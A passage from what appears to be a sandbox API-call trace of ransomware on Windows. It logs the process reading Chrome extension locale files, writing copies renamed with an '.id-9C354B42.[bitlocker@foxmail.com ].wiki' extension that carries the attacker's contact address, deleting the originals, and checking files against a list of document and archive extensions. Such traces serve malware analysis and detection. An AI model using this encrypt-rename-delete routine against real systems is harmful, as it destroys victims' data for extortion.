[0180.018] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json")) returned 0x2020 [0180.018] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.018] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.018] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.018] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.018] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.019] GetLastError () returned 0x0 [0180.019] ReadFile (in: hFile=0x320, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x10d, lpOverlapped=0x0) returned 1 [0180.020] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x110, lpOverlapped=0x0) returned 1 [0180.021] ReadFile (in: hFile=0x320, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.021] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.021] SetEndOfFile (hFile=0x198) returned 1 [0180.021] CloseHandle (hObject=0x198) returned 1 [0180.021] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.021] SetEndOfFile (hFile=0x320) returned 1 [0180.022] CloseHandle (hObject=0x320) returned 1 [0180.022] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.022] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json")) returned 1 [0180.022] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json") returned 151 [0180.022] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json") returned 151 [0180.022] lstrlenW (lpString=".doc") returned 4 [0180.022] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.022] lstrlenW (lpString=".docx") returned 5 [0180.022] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.023] lstrlenW (lpString=".pdf") returned 4 [0180.023] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.023] lstrlenW (lpString=".xls") returned 4 [0180.023] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.023] lstrlenW (lpString=".xlsx") returned 5 [0180.023] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.023] lstrlenW (lpString=".ppt") returned 4 [0180.023] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.023] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json") returned 151 [0180.023] lstrlenW (lpString=".zip") returned 4 [0180.023] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.023] lstrlenW (lpString=".rar") returned 4 [0180.023] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.023] lstrlenW (lpString=".bz2") returned 4 [0180.023] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.023] lstrlenW (lpString=".7z") returned 3 [0180.023] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.023] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json") returned 151 [0180.023] lstrlenW (lpString=".dbf") returned 4 [0180.023] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.023] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json") returned 151 [0180.023] lstrlenW (lpString=".1cd") returned 4 [0180.023] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.023] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json") returned 151 [0180.023] lstrlenW (lpString=".jpg") returned 4 [0180.023] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.023] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json") returned 151 [0180.023] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json") returned 151 [0180.023] lstrlenW (lpString=".doc") returned 4 [0180.023] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.024] lstrlenW (lpString=".docx") returned 5 [0180.024] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.024] lstrlenW (lpString=".pdf") returned 4 [0180.024] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.024] lstrlenW (lpString=".xls") returned 4 [0180.024] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.024] lstrlenW (lpString=".xlsx") returned 5 [0180.024] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.024] lstrlenW (lpString=".ppt") returned 4 [0180.024] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.024] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json") returned 151 [0180.024] lstrlenW (lpString=".zip") returned 4 [0180.024] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.024] lstrlenW (lpString=".rar") returned 4 [0180.024] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.024] lstrlenW (lpString=".bz2") returned 4 [0180.024] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.024] lstrlenW (lpString=".7z") returned 3 [0180.024] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.024] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json") returned 151 [0180.024] lstrlenW (lpString=".dbf") returned 4 [0180.024] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.024] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json") returned 151 [0180.024] lstrlenW (lpString=".1cd") returned 4 [0180.024] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.024] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json") returned 151 [0180.024] lstrlenW (lpString=".jpg") returned 4 [0180.024] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.025] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.025] lstrlenW (lpString="messages.json") returned 13 [0180.025] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.025] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=242) returned 1 [0180.025] CloseHandle (hObject=0x320) returned 1 [0180.025] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json")) returned 0x2020 [0180.025] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.025] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.026] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.026] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.026] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.026] GetLastError () returned 0x0 [0180.026] ReadFile (in: hFile=0x320, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xf2, lpOverlapped=0x0) returned 1 [0180.027] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x100, lpOverlapped=0x0) returned 1 [0180.028] ReadFile (in: hFile=0x320, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.028] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.028] SetEndOfFile (hFile=0x198) returned 1 [0180.028] CloseHandle (hObject=0x198) returned 1 [0180.028] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.028] SetEndOfFile (hFile=0x320) returned 1 [0180.029] CloseHandle (hObject=0x320) returned 1 [0180.029] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.029] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json")) returned 1 [0180.030] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json") returned 151 [0180.030] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json") returned 151 [0180.030] lstrlenW (lpString=".doc") returned 4 [0180.030] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.030] lstrlenW (lpString=".docx") returned 5 [0180.030] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.030] lstrlenW (lpString=".pdf") returned 4 [0180.030] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.030] lstrlenW (lpString=".xls") returned 4 [0180.030] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.030] lstrlenW (lpString=".xlsx") returned 5 [0180.030] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.030] lstrlenW (lpString=".ppt") returned 4 [0180.030] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.030] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json") returned 151 [0180.030] lstrlenW (lpString=".zip") returned 4 [0180.030] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.030] lstrlenW (lpString=".rar") returned 4 [0180.030] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.030] lstrlenW (lpString=".bz2") returned 4 [0180.030] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.030] lstrlenW (lpString=".7z") returned 3 [0180.030] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.030] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json") returned 151 [0180.030] lstrlenW (lpString=".dbf") returned 4 [0180.030] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.030] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json") returned 151 [0180.030] lstrlenW (lpString=".1cd") returned 4 [0180.030] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.030] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json") returned 151 [0180.031] lstrlenW (lpString=".jpg") returned 4 [0180.031] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.031] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json") returned 151 [0180.031] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json") returned 151 [0180.031] lstrlenW (lpString=".doc") returned 4 [0180.031] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.031] lstrlenW (lpString=".docx") returned 5 [0180.031] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.031] lstrlenW (lpString=".pdf") returned 4 [0180.031] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.031] lstrlenW (lpString=".xls") returned 4 [0180.031] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.031] lstrlenW (lpString=".xlsx") returned 5 [0180.031] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.031] lstrlenW (lpString=".ppt") returned 4 [0180.031] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.031] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json") returned 151 [0180.031] lstrlenW (lpString=".zip") returned 4 [0180.031] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.031] lstrlenW (lpString=".rar") returned 4 [0180.031] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.031] lstrlenW (lpString=".bz2") returned 4 [0180.031] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.031] lstrlenW (lpString=".7z") returned 3 [0180.031] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.031] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json") returned 151 [0180.031] lstrlenW (lpString=".dbf") returned 4 [0180.031] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.032] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json") returned 151 [0180.032] lstrlenW (lpString=".1cd") returned 4 [0180.032] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.032] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json") returned 151 [0180.032] lstrlenW (lpString=".jpg") returned 4 [0180.032] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.032] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.032] lstrlenW (lpString="messages.json") returned 13 [0180.032] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.032] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=256) returned 1 [0180.032] CloseHandle (hObject=0x320) returned 1 [0180.033] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json")) returned 0x2020 [0180.033] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.033] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.033] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.033] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.033] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.035] GetLastError () returned 0x0 [0180.035] ReadFile (in: hFile=0x320, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x100, lpOverlapped=0x0) returned 1 [0180.036] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x110, lpOverlapped=0x0) returned 1 [0180.037] ReadFile (in: hFile=0x320, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.037] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.038] SetEndOfFile (hFile=0x198) returned 1 [0180.038] CloseHandle (hObject=0x198) returned 1 [0180.038] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.038] SetEndOfFile (hFile=0x320) returned 1 [0180.038] CloseHandle (hObject=0x320) returned 1 [0180.039] SetFileAttributesW 